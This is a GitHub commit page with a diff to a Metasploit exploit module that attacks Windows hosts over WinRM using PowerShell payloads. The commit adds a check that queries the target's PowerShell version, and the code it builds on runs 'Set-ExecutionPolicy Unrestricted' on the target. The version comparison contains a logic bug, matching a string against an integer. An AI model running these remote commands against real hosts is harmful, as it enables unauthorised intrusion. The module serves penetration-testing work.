Skip to content

Commit 355bdbf

Browse files
David MaloneyDavid Maloney
authored andcommitted
Add check for propper powershell version
1 parent f843740 commit 355bdbf

File tree

1 file changed

+22
-1
lines changed

1 file changed

+22
-1
lines changed

modules/exploits/windows/winrm/winrm_powershell.rb

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,8 @@ def initialize(info = {})
2828
automigrate before the WinRS shell dies.
2929
3030
It is important to use an x64 payload if your target system is x64.
31+
The target machine must be running Powershell 2.0 for the payload
32+
to work.
3133
},
3234
'Author' => [ 'thelightcosine' ],
3335
'License' => MSF_LICENSE,
@@ -43,7 +45,7 @@ def initialize(info = {})
4345
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
4446
'Targets' =>
4547
[
46-
[ 'Windows with Powershell', { } ],
48+
[ 'Windows with Powershell 2.0', { } ],
4749
],
4850
'DefaultTarget' => 0,
4951
'DisclosureDate' => 'Nov 01 2012'
@@ -58,6 +60,25 @@ def check
5860
return Msf::Exploit::CheckCode::Safe
5961
end
6062

63+
print_status "checking for Powershell 2.0"
64+
streams = winrm_run_cmd("powershell Get-Host")
65+
if streams == 401
66+
print_error "Login failed!"
67+
return Msf::Exploit::CheckCode::Safe
68+
end
69+
unless streams.class == Hash
70+
print_error "Recieved error while running check"
71+
return Msf::Exploit::CheckCode::Safe
72+
end
73+
streams['stdout'].each_line do |line|
74+
next unless line.start_with? "Version"
75+
major_version = line.match(/\d(?=\.)/)[0]
76+
if major_version == 1
77+
print_error "The target is running an older version of powershell"
78+
return Msf::Exploit::CheckCode::Safe
79+
end
80+
end
81+
6182
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
6283
if streams == 401
6384
print_error "Login failed!"

0 commit comments

Comments
 (0)